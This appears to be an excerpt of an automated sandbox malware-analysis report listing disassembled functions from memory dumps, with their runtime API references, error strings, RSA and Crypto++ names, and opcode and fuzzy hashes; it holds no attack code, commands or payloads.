API ID: std::exception::exception$ClearException@8ThrowVariantXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 2677079660-3788999226
Opcode ID: 0e7a0393519b3a16d5959be93d71fc8787f3f08ee623592f4fd3bee7dda37ed0
Instruction ID: abf542739e5454ba3c6ab93be63a2923d68786ab8e1c7bb5cf45ab961b7b0b96
Opcode Fuzzy Hash: 0e7a0393519b3a16d5959be93d71fc8787f3f08ee623592f4fd3bee7dda37ed0
Instruction Fuzzy Hash: B82186B1A006059FD720CF6DD880A5EB7F5FF44364F244A2EE455E7B40DB31A9048BA0

Function 6CF65750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF6576B

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

std::_Xinvalid_argument.LIBCPMT ref: 6CF65782

Strings

string too long, xrefs: 6CF65766, 6CF6577D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: c483706efe8532534e2eea031793d3e62fdf623ac8468dc9e7309a4ca82f3411
Instruction ID: c07b1a84682627affd560072bbd0ebc3d6fcbbb79350a5fa81d4aaee78399e5f
Opcode Fuzzy Hash: c483706efe8532534e2eea031793d3e62fdf623ac8468dc9e7309a4ca82f3411
Instruction Fuzzy Hash: 0F11E9333046149FD321DA6DE880AAAF7EDEFA5664F60072FE552E7F41C771A80483A1

Function 6CF546B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF546C4

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CF5470B

Strings

string too long, xrefs: 6CF546BF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 1785806476-2556327735
Opcode ID: 0f817ea05d80b4f7e5d0879c95d26eae0f98e38aba316efa2dafc6ad8d8387aa
Instruction ID: c111a714dceae99804f9a1d498dab1cbf8814a9247874bef16e653728970f427
Opcode Fuzzy Hash: 0f817ea05d80b4f7e5d0879c95d26eae0f98e38aba316efa2dafc6ad8d8387aa
Instruction Fuzzy Hash: 2D110B321087105FE720DD78B8C0A6ABBB8AF71318F640B2ED59783AC1D731E5788761

Function 6CF84D30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF84E00

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

OutputBuffer, xrefs: 6CF84D77
ArraySink: missing OutputBuffer argument, xrefs: 6CF84D91

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: ArraySink: missing OutputBuffer argument$OutputBuffer
API String ID: 3718517217-3781944848
Opcode ID: 632e91b5c672be3c86cc1bef1eeb7266061813d914f70f4b38f86c5ad3343175
Instruction ID: 994367c0e142f2abf5c9bb96360893f9dd70a64e283eb32799af7e51c3b58f70
Opcode Fuzzy Hash: 632e91b5c672be3c86cc1bef1eeb7266061813d914f70f4b38f86c5ad3343175
Instruction Fuzzy Hash: 2D3105B55083809FC310CF69C480A9BFBF4BB99614F508E1EF5A693B50DB75E908CB92

Function 6CF60150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6CF54010: std::_Xinvalid_argument.LIBCPMT ref: 6CF5402A

__CxxThrowException@8.LIBCMT ref: 6CF60201

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

StringSink: OutputStringPointer not specified, xrefs: 6CF6019B
OutputStringPointer, xrefs: 6CF6018C

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: OutputStringPointer$StringSink: OutputStringPointer not specified
API String ID: 3718517217-1331214609
Opcode ID: 8be4ba877ad2928e727ea95c561e40f297bda995d8d17359de9b278871f91c29
Instruction ID: 3e7f0191eca608b8b237540adf1aa1ebaf456db349ce4d3a4b9becc5f6c3cd50
Opcode Fuzzy Hash: 8be4ba877ad2928e727ea95c561e40f297bda995d8d17359de9b278871f91c29
Instruction Fuzzy Hash: D7215071D04248AFCB04DFE9D890BDDFBB4EB19314F14865AE425A7B91DB356A08CB50

Function 6CF54620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF54636

Part of subcall function 6CFB9125: std::exception::exception.LIBCMT ref: 6CFB913A
Part of subcall function 6CFB9125: __CxxThrowException@8.LIBCMT ref: 6CFB914F
Part of subcall function 6CFB9125: std::exception::exception.LIBCMT ref: 6CFB9160

_memmove.LIBCMT ref: 6CF5466F

Strings

invalid string position, xrefs: 6CF54631

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 5f49c83b8ba5df0ff1c4c5f2b898a5590428e1ee27a63e5a8d764596a9645511
Instruction ID: aa26afedfd767e5485ff5a888888f887f190214f93bcda664205e9289ae5b6cb
Opcode Fuzzy Hash: 5f49c83b8ba5df0ff1c4c5f2b898a5590428e1ee27a63e5a8d764596a9645511
Instruction Fuzzy Hash: 1A01D6323002408BD3208D6CEC80B5AFBBAEBE1754B64492DD295CBF81D7B1EC6187A1

Function 6CF8ACA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6CF8ACF8

Strings

PublicExponent, xrefs: 6CF8AD1F
Modulus, xrefs: 6CF8AD30

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: type_info::operator!=
String ID: Modulus$PublicExponent
API String ID: 2241493438-3324115277
Opcode ID: 3725ff1ed0fbe4ed407f80d7ce205fb377abac538fd5f774cb05fdbab0384ea6
Instruction ID: 395e2814ed28e868c3811d1a694256abad4f79bb3623f5568b979b45794d3ce5
Opcode Fuzzy Hash: 3725ff1ed0fbe4ed407f80d7ce205fb377abac538fd5f774cb05fdbab0384ea6
Instruction Fuzzy Hash: FA11E37190A3049FC600DF28884158BFBF4EFD6648F01461EF481ABBA0DB31D94CCB92

Function 6CFAB7F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6CFAB848

Strings

PublicExponent, xrefs: 6CFAB86F
Modulus, xrefs: 6CFAB880

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: type_info::operator!=
String ID: Modulus$PublicExponent
API String ID: 2241493438-3324115277
Opcode ID: 7483b462fc3ce27b0d11aff0ff54b4a724fe03c180bfe4c6bad9dab1d4e2c405
Instruction ID: 61c4fc9b1d3a9d82231fe61382d8f7d284ab4d87182f2ab4f0e0dce9f6a31462
Opcode Fuzzy Hash: 7483b462fc3ce27b0d11aff0ff54b4a724fe03c180bfe4c6bad9dab1d4e2c405
Instruction Fuzzy Hash: 80110631509344AEC600DFBD884158BFBF4AFD5648F004A6EF8815BB50DB31E94ECB96

Function 6CF8B5F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF8B605

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CF8B634

Strings

vector<T> too long, xrefs: 6CF8B600

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: b1ac347028d4a37508cb9035052818765a7efdc53d3ddcdfec93db6c2ba916f9
Instruction ID: 2fab5ead47ecaedf9572f1fc74f30a3259ae4e4c4dabc4da23a7fd865af23194
Opcode Fuzzy Hash: b1ac347028d4a37508cb9035052818765a7efdc53d3ddcdfec93db6c2ba916f9
Instruction Fuzzy Hash: 3201B1B26012059FC324DEA9DC90CA7B3F8EB542147144A2DE99AD3A50EB70F9048B60

Function 6CFB4230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CFB4241

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CFB4277

Strings

vector<bool> too long, xrefs: 6CFB423C

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<bool> too long
API String ID: 1785806476-842332957
Opcode ID: ce7df87c3ee3c942cc73dabe221f879acbb4eb16bda5ff32dd007c63b74d2f74
Instruction ID: 6631a7a31fc32ffc4f49dba34987a2f273c3671be5e8e697bf64cc090de87626
Opcode Fuzzy Hash: ce7df87c3ee3c942cc73dabe221f879acbb4eb16bda5ff32dd007c63b74d2f74
Instruction Fuzzy Hash: A101D472A005055BC704CF6ADD918AEB7A9FB84358F51422AE51697A40E735E908C6A0

Function 6CFB3840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CFB3855

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CFB3880

Strings

vector<T> too long, xrefs: 6CFB3850

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 923f09ee64c7915e2d18acfcbaf62dcb2feab36d587384c8584866691a14139e
Instruction ID: ceb161a2cd651032a9b1a7093351567c1c49b52f661c4d0decb77b9a788d2908
Opcode Fuzzy Hash: 923f09ee64c7915e2d18acfcbaf62dcb2feab36d587384c8584866691a14139e
Instruction Fuzzy Hash: 300171725006099FD314DFAED884C9AB3E9AF542147114A3DE5AAE3B50EF70F9088B60

Function 6CF65160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF65173

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

_memmove.LIBCMT ref: 6CF6519E

Strings

vector<T> too long, xrefs: 6CF6516E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 15f0741d4e34392b9877c99dad647d059fd0618d54289647b5f4b6008fdfb9c6
Instruction ID: 8f3b5e0c4605cd58756cf627b217e51171882ba135d347724197e57e2756962c
Opcode Fuzzy Hash: 15f0741d4e34392b9877c99dad647d059fd0618d54289647b5f4b6008fdfb9c6
Instruction Fuzzy Hash: CF01A2B16042069FD728CFAACC91C6BB3E9EF542447154A2DE85AD3F40EB31F904CB60

Function 6CFBBFB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CFBABC3: __getptd.LIBCMT ref: 6CFBABC9
Part of subcall function 6CFBABC3: __getptd.LIBCMT ref: 6CFBABD9

__getptd.LIBCMT ref: 6CFBBFC3

Part of subcall function 6CFBEAE6: __getptd_noexit.LIBCMT ref: 6CFBEAE9
Part of subcall function 6CFBEAE6: __amsg_exit.LIBCMT ref: 6CFBEAF6

__getptd.LIBCMT ref: 6CFBBFD1

Strings

csm, xrefs: 6CFBBFDF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 86966626eb4e0d809bdbd7093bece3461dc5396f3a0cf366651c66bb381db945
Instruction ID: 150cc589347cf2e04de715a0c7379fb62f55a79be2bbe3a04d27ff5acdbbfdc5
Opcode Fuzzy Hash: 86966626eb4e0d809bdbd7093bece3461dc5396f3a0cf366651c66bb381db945
Instruction Fuzzy Hash: 890181358053088FDB24BF63D440A9EBBF9BF08359F65596ED061FAE50DB308584CB41

Function 6CFC3EA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6CFC3ED9
DName::DName.LIBCMT ref: 6CFC3EE5

Strings

{flat}, xrefs: 6CFC3ED4

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: fed32583c7fca8a0d7f176c44e9008a453444325a88d23f1a09781c64702dfec
Instruction ID: 628c70d648c5a0c4d81eeab000e22a9527b238ff2e01a66755dec4c198abd302
Opcode Fuzzy Hash: fed32583c7fca8a0d7f176c44e9008a453444325a88d23f1a09781c64702dfec
Instruction Fuzzy Hash: D8F0A0713442459FCB10DF58D054BE93BB4DB82B99F04C041E91C0F742C772D84AC752

Function 03396DF8 Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

4'^q, xrefs: 03396E6E
4'^q, xrefs: 03396E9E
4'^q, xrefs: 03396E13
$^q, xrefs: 03396EC0

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

